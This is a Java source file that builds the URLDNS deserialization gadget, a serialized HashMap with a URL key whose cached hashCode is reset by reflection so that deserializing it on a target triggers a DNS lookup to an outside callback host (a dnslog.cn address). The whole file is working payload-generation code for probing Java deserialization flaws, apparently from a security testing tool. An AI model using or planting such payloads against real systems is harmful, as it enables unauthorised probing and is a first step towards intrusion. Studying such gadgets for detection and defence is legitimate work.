content: package me.n1ar4.fake.gadget;
  
  import java.io.IOException;
  import java.net.InetAddress;
  import java.net.URL;
  import java.net.URLConnection;
  import java.net.URLStreamHandler;
  import java.util.HashMap;
  
  @SuppressWarnings("all")
  public class URLDNS {
      public static void main(final String[] args) throws Exception {
          URLDNS c = new URLDNS();
          Object o = c.getObject("http://0ldebg.dnslog.cn");
          SerUtil.deserializeObject(SerUtil.serializeObject(o));
      }
  
      public Object getObject(final String url) throws Exception {
  
          //Avoid DNS resolution during payload creation
          //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
          URLStreamHandler handler = new SilentURLStreamHandler();
  
          HashMap ht = new HashMap(); // HashMap that will contain the URL
          URL u = new URL(null, url, handler); // URL to use as the Key
          ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
  
          Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
  
          return ht;
      }
  
      /**
       * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
       * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
       * using the serialized object.</p>
       *
       * <b>Potential false negative:</b>
       * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
       * second resolution.</p>
       */
      static class SilentURLStreamHandler extends URLStreamHandler {
  
          protected URLConnection openConnection(URL u) throws IOException {
              return null;
          }
  
          protected synchronized InetAddress getHostAddress(URL u) {
              return null;
          }
      }
  }
  